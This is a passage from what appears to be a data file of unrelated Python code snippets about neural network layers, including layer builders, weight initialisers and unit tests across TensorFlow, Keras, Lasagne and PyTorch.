len(output_layer) == len(\\n self.output_activation), error_msg_output_heads\\n for layer in output_layer:\\n all_layers.append(layer)\\n else:\\n assert not isinstance(self.output_activation, list) or len(self.output_activation) == 1, error_msg_output_heads\\n all_layers.append(output_layer)\\n\\n rest_must_be_linear = False\\n for layer in all_layers:\\n assert isinstance(layer, list), \\\"Each layer must be a list\\\"\\n assert isinstance(layer[0], str), error_msg_layer_type\\n layer_type_name = layer[0].lower()\\n assert layer_type_name in self.valid_RNN_hidden_layer_types, \\\"Layer name {} not valid, use one of {}\\\".format(\\n layer_type_name, self.valid_RNN_hidden_layer_types)\\n\\n assert isinstance(layer[1], int), error_msg_layer_form\\n assert layer[1] > 0, \\\"Must have hidden_units >= 1\\\"\\n assert len(layer) == 2, error_msg_layer_form\\n\\n if rest_must_be_linear: assert layer[0].lower() == \\\"linear\\\", \\\"If have linear layers then they must come at end\\\"\\n if layer_type_name == \\\"linear\\\": rest_must_be_linear = True\",\n \"def test_cvqnn_layers_exception_nlayers(self):\\n shapes = expected_shapes(1, 2)\\n weights = [np.random.random(shape) for shape in shapes[:-1]]\\n weights += [np.random.random((2, shapes[-1][1]))]\\n\\n dev = DummyDevice(wires=2)\\n\\n @qml.qnode(dev)\\n def circuit():\\n qml.CVNeuralNetLayers(*weights, wires=range(2))\\n return qml.expval(qml.QuadX(0))\\n\\n with pytest.raises(ValueError, match=\\\"The first dimension of all parameters\\\"):\\n circuit()\",\n \"def __init__(self, weights=[], alphas=[]):\\n self._layers = [Layer(w, a) for w, a in zip(weights, alphas)]\",\n \"def model(input_shape, output_dim, num_hidden_units,num_hidden_units_2,num_hidden_units_3, num_code_units, batch_size=BATCH_SIZE):\\n shape = tuple([None]+list(input_shape[1:]))\\n print(shape)\\n l_in = lasagne.layers.InputLayer(shape=shape)\\n\\n l_hidden_1 = lasagne.layers.DenseLayer(\\n l_in,\\n num_units=num_hidden_units,\\n nonlinearity=lasagne.nonlinearities.rectify,\\n )\\n\\n l_hidden_2 = lasagne.layers.DenseLayer(\\n l_hidden_1,\\n num_units=num_hidden_units_2,\\n nonlinearity=lasagne.nonlinearities.rectify,\\n )\\n\\n l_hidden_3 = lasagne.layers.DenseLayer(\\n l_hidden_2,\\n num_units=num_hidden_units_3,\\n nonlinearity=lasagne.nonlinearities.rectify,\\n )\\n\\n l_code_layer = lasagne.layers.DenseLayer(\\n l_hidden_3,\\n num_units=num_code_units,\\n nonlinearity=lasagne.nonlinearities.softmax,\\n )\\n\\n l_hidden_3 = lasagne.layers.DenseLayer(\\n l_code_layer,\\n num_units=num_hidden_units_3,\\n nonlinearity=lasagne.nonlinearities.rectify,\\n )\\n\\n l_hidden_4 = lasagne.layers.DenseLayer(\\n l_hidden_3,\\n num_units=num_hidden_units_2,\\n nonlinearity=lasagne.nonlinearities.rectify,\\n )\\n\\n l_hidden_5 = lasagne.layers.DenseLayer(\\n l_hidden_4,\\n num_units=num_hidden_units,\\n nonlinearity=lasagne.nonlinearities.rectify,\\n )\\n\\n l_out = lasagne.layers.DenseLayer(\\n l_hidden_5,\\n num_units=output_dim,\\n nonlinearity=None,\\n )\\n\\n return l_out\",\n \"def request_layers(url):\\n layer_names = get_layers(url)\\n for l in layer_names:\\n print(\\\"Checking '%s'...\\\" % l)\\n get_image(url, l, check_blank=True)\",\n \"def Network_model(input_data):\\n layer1_param={'weights':tf.Variable(tf.random_normal([784, no_neurons_layer1])), \\n 'biases': tf.Variable(tf.random_normal([no_neurons_layer1]))}\\n \\n layer2_param={'weights':tf.Variable(tf.random_normal([no_neurons_layer1, no_neurons_layer2])), \\n 'biases': tf.Variable(tf.random_normal([no_neurons_layer2]))}\\n \\n layer3_param={'weights':tf.Variable(tf.random_normal([no_neurons_layer2, no_neurons_layer3])), \\n 'biases': tf.Variable(tf.random_normal([no_neurons_layer3]))}\\n \\n layer4_param={'weights':tf.Variable(tf.random_normal([no_neurons_layer3, no_neurons_layer4])), \\n 'biases': tf.Variable(tf.random_normal([no_neurons_layer4]))}\\n \\n output_layer_param={'weights':tf.Variable(tf.random_normal([no_neurons_layer4, no_classes])), \\n 'biases': tf.Variable(tf.random_normal([no_classes]))}\\n \\n #so uptill now the weights for each layer is initialized\\n \\n \\\"\\\"\\\"\\n Now what will happened in each layer, I will define next. basically the weights are multiplied\\n in each layer with the corresponding inputs and then it is passed through activation function \\n (relu in this case) and the output is given as input to the other layer.\\n sign:B-Jan\\n \\\"\\\"\\\"\\n \\n l1_output= tf.add(tf.matmul(input_data,layer1_param['weights']), layer1_param['biases'])\\n l1_output=tf.nn.relu(l1_output)\\n \\n l2_output= tf.add(tf.matmul(l1_output,layer2_param['weights']), layer2_param['biases'])\\n l2_output=tf.nn.relu(l2_output)\\n \\n \\n l3_output= tf.add(tf.matmul(l2_output,layer3_param['weights']), layer3_param['biases'])\\n l3_output=tf.nn.relu(l3_output)\\n \\n l4_output= tf.add(tf.matmul(l3_output,layer4_param['weights']), layer4_param['biases'])\\n l4_output=tf.nn.relu(l4_output)\\n \\n #The final output Layer\\n output= tf.matmul(l4_output, output_layer_param['weights'])+output_layer_param['biases']\\n \\n return output # contains the output of the last output layer\",\n \"def return_concat_layers(layers):\\n outputs = []\\n for i, l in enumerate(layers):\\n if 'Mixed' in l.name:\\n outputs.append(l.output)\\n \\n return outputs\",\n \"def iteration_layers(model, speedup, session, indepth_layer=None):\\n if speedup is True:\\n layer_names_reduced = ['conv2d1',\\n 'conv2d2',\\n 'mixed3b',\\n 'mixed4b',\\n 'mixed5b']\\n layer_tensors = [session.graph.get_tensor_by_name(name + \\\":0\\\") for name in layer_names_reduced]\\n else:\\n layer_tensors = model.layer_tensors\\n\\n return layer_tensors\",\n \"def num_layers(self):\\n\\n return 2 + self.num_hidden_layers\",\n \"def layers(arr):\\n\\tlayer_exist = [0, 0, 0, 0, 0]\\n\\tarr = arr.split()\\n\\tfor i, a in enumerate(arr):\\n\\t\\tif arr[i].lower().startswith(\\\"convolution\\\") or arr[i].lower().startswith(\\\"innerproduct\\\"):\\n\\t\\t\\tif i != len(arr) and arr[i+1].lower() == \\\"relu\\\":\\n\\t\\t\\t\\tlayer_exist[0] = 1\\n\\n\\t\\t\\n\\t\\tif arr[i].lower() == \\\"avepooling\\\":\\n\\t\\t\\tif (i != (len(arr) - 1) and arr[i+1].lower() != \\\"relu\\\") or (i == len(arr) - 1):\\n\\t\\t\\t\\tlayer_exist[4] = 1\\n\\t\\t\\telse:\\n\\t\\t\\t\\tlayer_exist[2] = 1\\n\\t\\tif arr[i].lower() == \\\"maxpooling\\\":\\n\\t\\t\\tif (i != (len(arr) - 1) and arr[i+1].lower() != \\\"relu\\\") or (i == len(arr) - 1):\\n\\t\\t\\t\\tlayer_exist[3] = 1\\n\\t\\t\\telse:\\n\\t\\t\\t\\tlayer_exist[1] = 1\\n\\n\\treturn layer_exist\",\n \"def __init__(self, num_inputs=3, hidden_layers=[3, 3], num_outputs=2):\\n\\n self.num_inputs = num_inputs\\n self.hidden_layers = hidden_layers\\n self.num_outputs = num_outputs\\n\\n # create a generic representation of the layers\\n layers = [num_inputs] + hidden_layers + [num_outputs]\\n\\n # create random connection weights for the layers\\n weights = []\\n for i in range(len(layers) - 1):\\n w = np.random.rand(layers[i], layers[i + 1])\\n weights.append(w)\\n self.weights = weights\\n\\n activations = []\\n\\n for i in range(len(layers)):\\n a = np.zeros(layers[i])\\n activations.append(a)\\n self.activations = activations\\n\\n derivatives = []\\n\\n for i in range(len(layers) - 1):\\n d = np.zeros(layers[i])\\n derivatives.append(d)\\n self.derivatives = derivatives\",\n \"def test_hidden_layers_created_correctly():\\n layers = [[\\\"gru\\\", 25], [\\\"lstm\\\", 23], [\\\"linear\\\", 5], [\\\"linear\\\", 10]]\\n\\n rnn = RNN(input_dim=5, layers_info=layers, hidden_activations=\\\"relu\\\",\\n output_activation=\\\"relu\\\")\\n\\n assert type(rnn.hidden_layers[0]) == nn.GRU\\n assert rnn.hidden_layers[0].input_size == 5\\n assert rnn.hidden_layers[0].hidden_size == 25\\n\\n assert type(rnn.hidden_layers[1]) == nn.LSTM\\n assert rnn.hidden_layers[1].input_size == 25\\n assert rnn.hidden_layers[1].hidden_size == 23\\n\\n assert type(rnn.hidden_layers[2]) == nn.Linear\\n assert rnn.hidden_layers[2].in_features == 23\\n assert rnn.hidden_layers[2].out_features == 5\\n\\n assert type(rnn.output_layers[0]) == nn.Linear\\n assert rnn.output_layers[0].in_features == 5\\n assert rnn.output_layers[0].out_features == 10\",\n \"def getNodesPerLayer(shape, nodes, layer, fullDim):\\n\\n\\tnet = []\\n\\tnodes_total = 0\\n\\t\\n\\tfor lay in range(layer):\\n\\n\\t\\tn = [0, 0]\\n\\t\\tn_count = 0\\n\\n\\t\\tif shape == \\\"lin\\\":\\n\\n\\t\\t\\tn[0] = nodes\\n\\t\\t\\tn[1] = nodes\\n\\t\\t\\tn_count += nodes\\n\\n\\t\\telif shape == \\\"trap\\\":\\n\\n\\t\\t\\tk = 2 * nodes / layer\\n\\t\\t\\tm = layer*0.5\\n\\t\\t\\t\\n\\t\\t\\tfor i in range(2):\\n\\n\\t\\t\\t\\tcl = float(lay + i)\\n\\t\\t\\t\\n\\t\\t\\t\\tif cl > m:\\n\\t\\t\\t\\t\\tcl = m - (cl%m)\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tn[i] = round(cl*k)\\n\\n\\t\\t\\tn_count += n[i]\\n\\n\\t\\telif shape == \\\"ramp\\\":\\n\\t\\t\\t\\n\\t\\t\\tk = nodes / layer\\n\\t\\n\\t\\t\\tfor i in range(2):\\n\\t\\n\\t\\t\\t\\tcl = float(lay + i - 1)\\n\\t\\t\\t\\tn[i] = round(nodes - k * cl)\\n\\t\\n\\t\\t\\tif lay == 0:\\n\\t\\t\\t\\tn[1] = nodes\\n\\t\\t\\telif lay == 1:\\n\\t\\t\\t\\tn[0] = nodes\\n\\n\\t\\t\\tn_count += n[i]\\t\\t\\t\\t\\n\\n\\t\\tif lay == 0:\\n\\t\\t\\tn[0] = fullDim\\n\\t\\tif lay == layer - 1:\\n\\t\\t\\tn[1] = 1\\n\\t\\t\\tn_count = 0\\n\\n\\t\\tnodes_total += n_count\\n\\t\\tnet.append(n)\\n\\n\\treturn [net, nodes_total]\",\n \"def model_number_layers(model):\\n for idx, layer in enumerate(model.layers):\\n print(idx, layer.name)\",\n \"def get_layer_neurons(self):\\n return self.neurons\",\n \"def test_CNN_hyperparameters_nrlayers(self):\\n hyperparams = modelgen.generate_CNN_hyperparameter_set(\\n min_layers=4, max_layers=4)\\n assert len(hyperparams.get('filters')) == 4\",\n \"def layers(self) ->Optional[nn.ModuleList]:\\n return self._layers\",\n \"def layers(model_size):\\n if model_size == 'tiny':\\n return (\\n ('linear', 100),\\n ('activation', 'relu'))\\n elif model_size == 'small':\\n return (\\n ('conv2d', (4, 4), 16, 'VALID', 2),\\n ('activation', 'relu'),\\n ('conv2d', (4, 4), 32, 'VALID', 1),\\n ('activation', 'relu'),\\n ('linear', 100),\\n ('activation', 'relu'))\\n elif model_size == 'medium':\\n return (\\n ('conv2d', (3, 3), 32, 'VALID', 1),\\n ('activation', 'relu'),\\n ('conv2d', (4, 4), 32, 'VALID', 2),\\n ('activation', 'relu'),\\n ('conv2d', (3, 3), 64, 'VALID', 1),\\n ('activation', 'relu'),\\n ('conv2d', (4, 4), 64, 'VALID', 2),\\n ('activation', 'relu'),\\n ('linear', 512),\\n ('activation', 'relu'),\\n ('linear', 512),\\n ('activation', 'relu'))\\n elif model_size == 'large_200':\\n return (\\n ('conv2d', (3, 3), 64, 'SAME', 1),\\n ('activation', 'relu'),\\n ('conv2d', (3, 3), 64, 'SAME', 1),\\n ('activation', 'relu'),\\n ('conv2d', (3, 3), 128, 'SAME', 2),\\n ('activation', 'relu'),\\n ('conv2d', (3, 3), 128, 'SAME', 1),\\n ('activation', 'relu'),\\n ('conv2d', (3, 3), 128, 'SAME', 1),\\n ('activation', 'relu'),\\n ('linear', 200),\\n ('activation', 'relu'))\\n elif model_size == 'large':\\n return (\\n ('conv2d', (3, 3), 64, 'SAME', 1),\\n ('activation', 'relu'),\\n ('conv2d', (3, 3), 64, 'SAME', 1),\\n ('activation', 'relu'),\\n ('conv2d', (3, 3), 128, 'SAME', 2),\\n ('activation', 'relu'),\\n ('conv2d', (3, 3), 128, 'SAME', 1),\\n ('activation', 'relu'),\\n ('conv2d', (3, 3), 128, 'SAME', 1),\\n ('activation', 'relu'),\\n ('linear', 512),\\n ('activation', 'relu'))\\n else:\\n raise ValueError('Unknown model: \\\"{}\\\"'.format(model_size))\",\n \"def trainNet():\",\n \"def convnet_layers( inputs, widths, mode ):\\n\\n training = (mode == \\\"train\\\")\\n \\n with tf.variable_scope( \\\"convnet\\\" ): # h,w\\n \\n #print(inputs.shape)\\n x = conv_layer( inputs, layer_params[0], training ) \\n #print(x.shape)\\n x = conv_layer( x, layer_params[1], training ) \\n #print(x.shape)\\n x = pool_layer( x, 2, 'valid', 'pool2' )\\n #print(x.shape)\\n x = conv_layer( x, layer_params[2], training ) \\n x = conv_layer( x, layer_params[3], training )\\n #print(x.shape)\\n x = pool_layer( x, 2, 'valid', 'pool4' )\\n #print(x.shape)\\n x = conv_layer( x, layer_params[4], training ) \\n x = conv_layer( x, layer_params[5], training )\\n #print(x.shape)\\n x = pool_layer( x, 2, 'valid', 'pool6') \\n #print(x.shape)\\n x = conv_layer( x, layer_params[6], training ) \\n x = conv_layer( x, layer_params[7], training )\\n \\n x = tf.layers.max_pooling2d( x, [2, 1], [2, 1], \\n padding='valid', \\n name='pool8' ) \\n\\n #print(x.shape)\\n\\n # squeeze row dim\\n x = tf.squeeze( x, axis=1, name='features' )\\n\\n #print(x.shape)\\n\\n sequence_length = get_sequence_lengths( widths ) \\n\\n return x, sequence_length\",\n \"def init_three_layer_neuralnet(weight_scale=1, bias_scale=0, input_feat_dim=786,\\n num_classes=10, num_neurons=(20, 30)):\\n \\n assert len(num_neurons) == 2, 'You must provide number of neurons for two layers...'\\n\\n model = {}\\n #model['W1'] = np.random.randn((num_neurons[0],(input_feat_dim) * weight_scale) * math.sqrt(2.0/input_feat_dim)) # Initialize from a Gaussian With scaling of sqrt(2.0/fanin)\\n \\n model['W1'] = (np.random.rand(input_feat_dim,num_neurons[0])*weight_scale) * math.sqrt(2.0/input_feat_dim)\\n model['b1'] = np.zeros(num_neurons[0])# Initialize with zeros\\n \\n #model['W2'] = (np.random.randn(input_feat_dim) * weight_scale) * math.sqrt(2.0/input_feat_dim)# Initialize from a Gaussian With scaling of sqrt(2.0/fanin)\\n #print ((model['W1'])[0,:]).shape\\n #numcols = len(input[0])\\n t=len((model['W1'])[0])\\n #print t\\n model['W2'] = (np.random.rand(num_neurons[0],num_neurons[1])*weight_scale) * math.sqrt(2.0/t)\\n model['b2'] = np.zeros(num_neurons[1])# Initialize with zeros\\n\\n t=len((model['W2'])[0])\\n #model['W3'] = (np.random.randn(input_feat_dim) * weight_scale) * math.sqrt(2.0/input_feat_dim)# Initialize from a Gaussian With scaling of sqrt(2.0/fanin)\\n model['W3'] = (np.random.rand(num_neurons[1],num_classes)*weight_scale) * math.sqrt(2.0/t)\\n model['b3'] = np.zeros(num_classes)# Initialize with zeros\\n\\n return model\",\n \"def nlayer(i):\\n node = basis.MCTDHnode(i)\\n layer_list.append(i)\\n if node.Toplayer() == False:\\n return nlayer(node.up().address())\\n new_list = list(layer_list) #copy instead of reference\\n del layer_list[:]\\n return new_list\",\n \"def hidden_layers(self):\\n\\t\\tif self.hidden is None:\\n\\t\\t\\tself.hidden, self.inputs, self.weights_all, self.biases_all = [], [], [], []\\n\\t\\t\\tlast_hidden = self.x\\n\\t\\t\\tif self.covnet == 1:\\n\\t\\t\\t\\ty_conv, self._drouput, self.hidden, self.inputs = deepnn(self.x)\\n\\t\\t\\telif self.covnet == 2:\\n\\t\\t\\t\\ty_c, self.hidden, self.inputs = multi_layer_perceptron(self.x, self.input_size, self.num_of_classes,\\n\\t\\t\\t\\t self.layerSize[0], self.layerSize[1])\\n\\t\\t\\telse:\\n\\n\\t\\t\\t\\tself._drouput = 'dr'\\n\\t\\t\\t\\t# self.hidden.append(self.x)\\n\\t\\t\\t\\tfor i in range(1, len(self.all_layer_sizes)):\\n\\t\\t\\t\\t\\tname_scope = 'hidden' + str(i - 1)\\n\\t\\t\\t\\t\\trow_size, col_size = self.all_layer_sizes[i - 1], self.all_layer_sizes[i]\\n\\t\\t\\t\\t\\tactivation_function = self.activation_function\\n\\t\\t\\t\\t\\tlast_hidden = self.initilizae_layer(name_scope, row_size, col_size, activation_function,\\n\\t\\t\\t\\t\\t last_hidden)\\n\\t\\t\\t\\tname_scope = 'final_layer'\\n\\t\\t\\t\\trow_size, col_size = self.layerSize[-1], self.num_of_classes\\n\\t\\t\\t\\tactivation_function = None\\n\\t\\t\\t\\tlast_hidden = self.initilizae_layer(name_scope, row_size, col_size, activation_function, last_hidden)\\n\\t\\treturn self.hidden\",\n \"def test_CNN_hyperparameters_nrlayers(self):\\n hyperparams = modelgen.generate_CNN_hyperparameter_set(\\n min_fc_nodes=123, max_fc_nodes=123)\\n assert hyperparams.get('fc_hidden_nodes') == 123\",\n \"def define_layers(self):\\n if self.d != 0:\\n # If we have a fixed input size we use it do define the first layer\\n self.layers = [nn.Sequential(nn.Linear(self.d, self.h),\\n nn.ReLU(), )] # nn.BatchNorm1d(self.h, affine=False))]\\n else:\\n self.layers = [nn.Sequential(nn.Linear(self.h, self.h),\\n nn.ReLU(), )]\\n\\n l = 0\\n for l in self.layers_sizes():\\n self.layers.append(nn.Sequential(nn.Linear(self.h - l, self.h - l - self.delta_h),\\n nn.ReLU(), )) # nn.BatchNorm1d( self.h - l - self.delta_h, affine=False)))\\n self.layers.append(nn.Sequential(nn.Linear(self.h - l - self.delta_h, 1), nn.ReLU()))\",\n \"def __init__(self):\\n #conv1\\n n = inp_width*inp_height\\n #poczatkowe wagi sieci sa ustalane losowo z rozkladu normalnego. Umieszczane sa one na liscie matryc wag\\n self.Weights = [np.random.randn(layers[0][1],inp_channels,layers[0][2],layers[0][2])/np.sqrt(n)]\\n out_Size = inp_width - layers[0][2] + 1 #zmienna zawiera rozmiar wyjscia danej warstwy\\n #inicjalizacja progow \\n self.Biases = [initBias*np.ones( layers[0][1] )]\\n #przypisanie parametrow warstwie poolingu\\n self.poolParams = [(layers[1][1], layers[1][2])]\\n out_Size = out_Size/2 \\n #conv 2\\n n = out_Size*out_Size*layers[0][1]\\n self.Weights.append(np.random.randn(layers[2][1],layers[0][1],layers[2][2],layers[2][2])/np.sqrt(n))\\n out_Size = out_Size - layers[2][2]+1\\n self.Biases.append(initBias*np.ones(layers[2][1]))\\n #pool 2\\n self.poolParams.append((layers[3][1],layers[3][2]))\\n out_Size = out_Size/2 \\n #conv 3\\n n = out_Size*out_Size*layers[2][1]\\n self.Weights.append(np.random.randn(layers[4][1],layers[2][1],out_Size,out_Size)/np.sqrt(n))\\n out_Size = 1\\n self.Biases.append(initBias*np.ones(layers[4][1]))\\n #fully connected 1\\n n = layers[4][1]\\n self.Weights.append(np.random.randn(layers[5][1],layers[4][1])/np.sqrt(n))\\n self.Biases.append(initBias*np.ones(layers[5][1]))\\n #fully connected 2\\n n = layers[5][1]\\n self.Weights.append(np.random.randn(layers[6][1],layers[5][1])/np.sqrt(n))\\n self.Biases.append(initBias*np.ones(layers[6][1]))\\n\\n self.Weights = np.asarray(self.Weights)\\n self.Biases = np.asarray(self.Biases)\\n \\n delta_W = []\\n delta_B = []\\n for i in range(5):\\n delta_W.append(np.zeros(self.Weights[i].shape))\\n delta_B.append(np.zeros(self.Biases[i].shape))\\n self.delta_W = np.asarray(delta_W)\\n self.delta_B = np.asarray(delta_B)\",\n \"def buildNet(inputShape, numUniqueClasses):\\n layers = InputLayer((None,) + inputShape[1:4])\\n layers = ResidualLayer(layers, 8, \\n filter_size = (3,1))\\n layers = ResidualLayer(layers, 8, \\n filter_size = (3,1), stride= (5,1))\\n layers = ResidualLayer(layers, 8, \\n filter_size = (3,1))\\n layers = ResidualLayer(layers, 1, \\n filter_size = (3,1), stride= (3,1))\\n layers = NonlinearityLayer(layers, nonlinearity = nonlinearity)\\n layers = DropoutLayer(layers,p=.3) \\n layers = batch_norm(NNHelpers.LocallyConnected2DLayer(layers,1,(5,1),\\n W=He('relu'),\\n nonlinearity=nonlinearity)) \\n layers = DenseLayer(layers,num_units=numUniqueClasses,\\n nonlinearity=linear) \\n layers = NonlinearityLayer(layers, nonlinearity=softmax) \\n return layers\",\n \"def forward_prop(x, layer_sizes=[], activations=[]):\\n layers = x\\n for j in range(len(layer_sizes)):\\n layers = create_layer(layers, layer_sizes[j],\\n activation=activations[j])\\n return layers\",\n \"def layers(self):\\n return self['layers']\",\n \"def get_features(inp_layer, pad=0):\\n # Note: tweaked to use average pooling instead of maxpooling\\n net = OrderedDict()\\n net['conv1_1'] = ConvLayer(inp_layer, 64, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\\n net['conv1_2'] = ConvLayer(net['conv1_1'], 64, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\\n net['pool1'] = PoolLayer(net['conv1_2'], 2, mode='average_exc_pad')\\n net['conv2_1'] = ConvLayer(net['pool1'], 128, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\\n net['conv2_2'] = ConvLayer(net['conv2_1'], 128, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\\n net['pool2'] = PoolLayer(net['conv2_2'], 2, mode='average_exc_pad')\\n net['conv3_1'] = ConvLayer(net['pool2'], 256, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\\n net['conv3_2'] = ConvLayer(net['conv3_1'], 256, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\\n net['conv3_3'] = ConvLayer(net['conv3_2'], 256, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\\n net['conv3_4'] = ConvLayer(net['conv3_3'], 256, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\\n net['pool3'] = PoolLayer(net['conv3_4'], 2, mode='average_exc_pad')\\n net['conv4_1'] = ConvLayer(net['pool3'], 512, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\\n net['conv4_2'] = ConvLayer(net['conv4_1'], 512, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\\n net['conv4_3'] = ConvLayer(net['conv4_2'], 512, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\\n net['conv4_4'] = ConvLayer(net['conv4_3'], 512, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\\n #net['pool4'] = PoolLayer(net['conv4_4'], 2, mode='average_exc_pad')\\n #net['conv5_1'] = ConvLayer(net['pool4'], 512, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\\n #net['conv5_2'] = ConvLayer(net['conv5_1'], 512, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\\n #net['conv5_3'] = ConvLayer(net['conv5_2'], 512, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\\n #net['conv5_4'] = ConvLayer(net['conv5_3'], 512, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\\n #net['pool5'] = PoolLayer(net['conv5_4'], 2, mode='average_exc_pad')\\n\\n nb_params = len(nn.layers.get_all_params(net['conv4_4']))\\n\\n values = pickle.load(open('weights/vgg19_normalized.pkl', 'rb'), encoding='latin1')['param values']\\n nn.layers.set_all_param_values(net['conv4_4'], values[:nb_params])\\n\\n return net\",\n \"def _init_layers(self):\\n self.relu = nn.ReLU(inplace=True)\\n self.cls_convs = nn.ModuleList()\\n self.reg_convs = nn.ModuleList()\\n for i in range(self.stacked_convs):\\n chn = self.in_channels if i == 0 else self.feat_channels\\n self.cls_convs.append(\\n ConvModule(\\n chn,\\n self.feat_channels,\\n 3,\\n stride=1,\\n padding=1,\\n conv_cfg=self.conv_cfg,\\n norm_cfg=self.norm_cfg))\\n self.reg_convs.append(\\n ConvModule(\\n chn,\\n self.feat_channels,\\n 3,\\n stride=1,\\n padding=1,\\n conv_cfg=self.conv_cfg,\\n norm_cfg=self.norm_cfg))\\n self.retina_cls = nn.Conv2d(\\n self.feat_channels,\\n self.num_anchors * self.cls_out_channels,\\n 3,\\n padding=1)\\n self.retina_reg = nn.Conv2d(\\n self.feat_channels, self.num_anchors * 4, 3, padding=1)\",\n \"def build_all_connected_models(feature_dim, output_scheme=\\\"regression\\\", num_classes=num_classes):\\n\\tinput_layer = keras.layers.Input(shape=[feature_dim])\\n\\thidden1 = keras.layers.Dense(800, activation='relu', \\n\\t\\tkernel_regularizer=keras.regularizers.l2(0.01), \\n\\t\\tkernel_initializer=\\\"he_uniform\\\")(input_layer)\\n\\t#bn1 = keras.layers.BatchNormalization()(hidden1)\\n\\tdropout1 = keras.layers.AlphaDropout(rate=0.5)(hidden1)\\n\\t#hidden2 = keras.layers.Dense(500, activation='relu', \\n\\t#\\tkernel_regularizer=keras.regularizers.l2(0.01), \\n\\t#\\tkernel_initializer=\\\"he_uniform\\\")(dropout1)\\n\\t#bn2 = keras.layers.BatchNormalization()(hidden2)\\n\\t#dropout2 = keras.layers.AlphaDropout(rate=0.5)(hidden2)\\n\\thidden3 = keras.layers.Dense(200, activation='relu', \\n\\t\\tkernel_regularizer=keras.regularizers.l2(0.01), \\n\\t\\tkernel_initializer=\\\"he_uniform\\\")(dropout1)\\n\\tdropout3 = keras.layers.AlphaDropout(rate=0.3)(hidden3)\\n\\t# trait-specific network\\n\\thidden4_1 = keras.layers.Dense(50, activation='relu', \\n\\t\\tkernel_regularizer=keras.regularizers.l2(0.01), \\n\\t\\tkernel_initializer=\\\"he_uniform\\\")(dropout3)\\n\\thidden4_2 = keras.layers.Dense(50, activation='relu', \\n\\t\\tkernel_regularizer=keras.regularizers.l2(0.01), \\n\\t\\tkernel_initializer=\\\"he_uniform\\\")(dropout3)\\n\\thidden4_3 = keras.layers.Dense(50, activation='relu', \\n\\t\\tkernel_regularizer=keras.regularizers.l2(0.01), \\n\\t\\tkernel_initializer=\\\"he_uniform\\\")(dropout3)\\n\\thidden4_4 = keras.layers.Dense(50, activation='relu', \\n\\t\\tkernel_regularizer=keras.regularizers.l2(0.01), \\n\\t\\tkernel_initializer=\\\"he_uniform\\\")(dropout3)\\n\\thidden4_5 = keras.layers.Dense(50, activation='relu', \\n\\t\\tkernel_regularizer=keras.regularizers.l2(0.01), \\n\\t\\tkernel_initializer=\\\"he_uniform\\\")(dropout3)\\n\\t#bn3 = keras.layers.BatchNormalization()(hidden3)\\n\\tif (output_scheme==\\\"regression\\\"):\\n\\t\\t#outputs = [keras.layers.Dense(1, hidden3) for i in range(5)] #\\n\\t\\tout1 = keras.layers.Dense(1, activation=lambda x: keras.activations.relu(x, max_value=num_classes-1.0), \\n\\t\\t\\tkernel_regularizer=keras.regularizers.l2(0.01), kernel_initializer=\\\"he_uniform\\\", \\n\\t\\t\\tname=\\\"out1\\\")(hidden4_1)\\n\\t\\tout2 = keras.layers.Dense(1, activation=lambda x: keras.activations.relu(x, max_value=num_classes-1.0), \\n\\t\\t\\tkernel_regularizer=keras.regularizers.l2(0.01), kernel_initializer=\\\"he_uniform\\\", \\n\\t\\t\\tname=\\\"out2\\\")(hidden4_2)\\n\\t\\tout3 = keras.layers.Dense(1, activation=lambda x: keras.activations.relu(x, max_value=num_classes-1.0), \\n\\t\\t\\tkernel_regularizer=keras.regularizers.l2(0.01), kernel_initializer=\\\"he_uniform\\\", \\n\\t\\t\\tname=\\\"out3\\\")(hidden4_3)\\n\\t\\tout4 = keras.layers.Dense(1, activation=lambda x: keras.activations.relu(x, max_value=num_classes-1.0), \\n\\t\\t\\tkernel_regularizer=keras.regularizers.l2(0.01), kernel_initializer=\\\"he_uniform\\\", \\n\\t\\t\\tname=\\\"out4\\\")(hidden4_4)\\n\\t\\tout5 = keras.layers.Dense(1, activation=lambda x: keras.activations.relu(x, max_value=num_classes-1.0), \\n\\t\\t\\tkernel_regularizer=keras.regularizers.l2(0.01), kernel_initializer=\\\"he_uniform\\\", \\n\\t\\t\\tname=\\\"out5\\\")(hidden4_5)\\n\\telif (output_scheme == \\\"ordinal_clf\\\"):\\n\\t\\tout1 = keras.layers.Dense(num_classes, activation=\\\"sigmoid\\\", \\n\\t\\t\\tkernel_regularizer=keras.regularizers.l2(0.01), kernel_initializer=\\\"he_uniform\\\", \\n\\t\\t\\tname=\\\"out1\\\")(hidden4_1)\\n\\t\\tout2 = keras.layers.Dense(num_classes, activation=\\\"sigmoid\\\", \\n\\t\\t\\tkernel_regularizer=keras.regularizers.l2(0.01), kernel_initializer=\\\"he_uniform\\\", \\n\\t\\t\\tname=\\\"out2\\\")(hidden4_2)\\n\\t\\tout3 = keras.layers.Dense(num_classes, activation=\\\"sigmoid\\\", \\n\\t\\t\\tkernel_regularizer=keras.regularizers.l2(0.01), kernel_initializer=\\\"he_uniform\\\", \\n\\t\\t\\tname=\\\"out3\\\")(hidden4_3)\\n\\t\\tout4 = keras.layers.Dense(num_classes, activation=\\\"sigmoid\\\", \\n\\t\\t\\tkernel_regularizer=keras.regularizers.l2(0.01), kernel_initializer=\\\"he_uniform\\\", \\n\\t\\t\\tname=\\\"out4\\\")(hidden4_4)\\n\\t\\tout5 = keras.layers.Dense(num_classes, activation=\\\"sigmoid\\\", \\n\\t\\t\\tkernel_regularizer=keras.regularizers.l2(0.01), kernel_initializer=\\\"he_uniform\\\", \\n\\t\\t\\tname=\\\"out5\\\")(hidden4_5)\\n\\tmodel = keras.models.Model(inputs=[input_layer],\\n\\t\\t\\t\\t\\t\\t\\t outputs=[out1, out2, out3, out4, out5])\\n\\tif (output_scheme == \\\"regression\\\"):\\n\\t\\tmodel.compile(loss=\\\"mse\\\", 